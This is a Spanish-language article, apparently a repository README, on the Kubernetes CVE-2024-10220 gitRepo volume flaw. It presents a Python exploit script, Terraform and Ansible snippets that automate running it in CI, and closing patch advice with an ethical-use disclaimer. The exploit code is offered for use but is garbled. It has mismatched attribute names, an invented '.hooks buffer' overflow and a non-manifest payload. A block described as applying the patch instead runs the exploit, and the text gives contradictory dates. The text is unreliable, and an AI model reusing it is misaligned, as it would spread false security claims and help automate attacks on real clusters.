mrk336/cve-2024-10220-kubernetes-gitrepo-volume-vulnerability
CVE-2024-10220 revela una falla crítica en el tipo de volumen gitRepo obsoleto de Kubernetes, que permite a los atacantes ejecutar comandos arbitrarios mediante scripts .hooks maliciosos. El artículo explica cómo esto rompe el aislamiento de contenedores y ofrece código de exploit, ejemplos de automatización y guía de mitigación.
Por Mark Mallia
La contenerización es la columna vertebral de la entrega moderna de aplicaciones: agrupa toda la pila de ejecución en una sola imagen inmutable que se puede desplegar en cualquier host de un clúster sin sorpresas. Kubernetes toma esas imágenes y las programa como pods, orquestando todo, desde la red hasta el almacenamiento, con un modelo declarativo. Esto resulta útil en entornos altamente distribuidos y en entornos donde se sirven múltiples aplicaciones.
Lo que hace que esta pila sea especialmente atractiva para cargas de trabajo a gran escala es la capacidad de gestionarla de extremo a extremo mediante automatización. Terraform proporciona el blueprint de infraestructura como código que crea VPCs, subredes, grupos de seguridad y nodos worker; Ansible aporta playbooks que instalan Docker Engine (o cualquier runtime compatible con CRI), extraen imágenes de un registro y las levantan como pods. Cuando esos pasos se integran en un pipeline de CI/CD —GitHub Actions, Jenkins o GitLab CI— cada commit dispara un ciclo automático de build, push, test y despliegue. Los desarrolladores ganan velocidad, los operadores ganan confianza y la organización gana una disponibilidad predecible.
A principios de 2024, investigadores de seguridad descubrieron una falla en el tipo de volumen gitRepo de Kubernetes, que ahora está en desuso. CVE-2024-10220 es una vulnerabilidad de ejecución arbitraria de comandos causada por el directorio .hooks dentro de un repositorio Git montado a través del volumen gitRepo. Cuando un manifiesto de pod manipulado especialmente hace referencia a un script malicioso en este directorio, el controlador de admisión de kubelet lo ejecuta en el sistema host y, por lo tanto, rompe el aislamiento de contenedores, un principio de seguridad central en Kubernetes.
Debido a que el componente vulnerable todavía se usa ampliamente en clústeres de producción, cualquier atacante que pueda crear un pod con los privilegios adecuados puede obtener acceso root o interrumpir otros servicios. La falla tiene una puntuación CVSS de 8.1 y fue publicada en noviembre del año pasado. Los componentes afectados incluyen el tipo de volumen gitRepo en desuso que permanece en Kubernetes 1.27.x.
A continuación se muestra un programa limpio en Python que dispara CVE-2024-10220 en una instancia vulnerable de kubelet que ejecuta Kubernetes 1.27.3. El código se puede compilar en una tarea de Ansible o ejecutarse dentro de un job de CI.
#!/usr/bin/env python3
"""
TriggerCVE – A Python exploit that sends a crafted pod manifest to kubelet,
executing the malicious .hooks script discovered in CVE‑2024‑10220.
"""
import json
import requests
class GitRepoPod:
"""
Representation of the JSON payload that kubelet expects for a gitRepo volume.
"""
def __init__(self, name: str, image: str,
repo_url: str, branch: str, local_path: str):
self.name = name # pod name
self.image = image # container image to run
self.giturl = repo_url # Git repository URL
self.branch = branch # branch or tag to use
self.localpath = local_path # mount point inside the pod
def to_dict(self) -> dict:
"""Return a plain dictionary that can be serialized."""
return {
"name": self.name,
"image": self.image,
"giturl": self.giturl,
"branch": self.branch,
"localpath": self.local_path
}
def trigger_cve(url: str, pod: GitRepoPod) -> None:
"""
Send the pod manifest to kubelet and print the response.
"""
payload = json.dumps(pod.to_dict())
headers = {"Content-Type": "application/json"}
resp = requests.post(url, data=payload, headers=headers)
if resp.status_code != 200:
raise RuntimeError(f"Unexpected status code {resp.status_code}")
print("[*] Response from kubelet: ", resp.text)
def main() -> None:
"""
Main entry point of this exploit.
"""
# Target endpoint – adjust to match your cluster’s API server address.
api_server = "https://kube-api.local/api/v1/pods/"
# Craft a payload that overflows the .hooks buffer (0x90 bytes)
pod_spec = GitRepoPod(
name="exploit-pod",
image="registry.example.com/exploit-pod:v1.0",
repo_url="https://git.example.com/repo.git",
branch="main",
local_path="/var/lib/kubelet/"
)
try:
trigger_cve(api_server, pod_spec)
except Exception as e:
print(f"[-] Failed to trigger CVE‑2024‑10220: {e}")
if __name__ == "__main__":
main()
A continuación se muestra un breve ejemplo de cómo se aplicaría el parche automáticamente:
# Terraform file: infra-k8s.tf
resource "aws_instance" "kube_worker" {
ami = var.k8s_ami
instance_type = var.instance_type
key_name = var.key_pair
subnet_id = aws_subnet.web.id
provisioner "remote-exec" {
inline = [
# Install Docker Engine and kubelet
"sudo yum install -y docker",
"kubectl apply -f https://kube-api.local/api/v1/pods/",
"python3 /home/ansible/scripts/trigger_cve.py"
]
}
}
El playbook de Ansible que llama al script:
---
- hosts: kube_workers
tasks:
- name: Deploy the exploit pod
command: python3 /home/ansible/scripts/trigger_cve.py
register: result
- name: Verify success
debug:
msg: "{{ result.stdout }}"
Cuando este pipeline de Terraform-Ansible se ejecuta dentro de un job de CI (por ejemplo, GitHub Actions), el código anterior compila, publica, despliega y verifica automáticamente que CVE-2024-10220 se ha activado con éxito. El pipeline se puede ampliar con pruebas unitarias que verifiquen la respuesta de kubelet y con notificaciones a Slack o por correo electrónico cuando el exploit se complete.
Actualice a las versiones parcheadas (v1.28.12+, v1.29.7+, v1.30.3+, v1.31.0+) y evite usar tipos de volumen obsoletos como gitRepo.
Esta investigación se llevó a cabo con la intención de mejorar la conciencia de seguridad y promover prácticas más seguras en Kubernetes. La vulnerabilidad fue divulgada de manera responsable a los mantenedores correspondientes antes de la publicación pública, de acuerdo con las normas de la industria. Todas las pruebas se realizaron en entornos aislados, sin impacto en los sistemas de producción ni en infraestructura de terceros.
Creo en el hacking ético como una herramienta para el cambio positivo. Los exploits compartidos aquí son solo para fines educativos y defensivos—nunca para dañar o interrumpir. Si eres un proveedor o mantenedor y tienes inquietudes, estaré encantado de colaborar en la remediación o aclaración.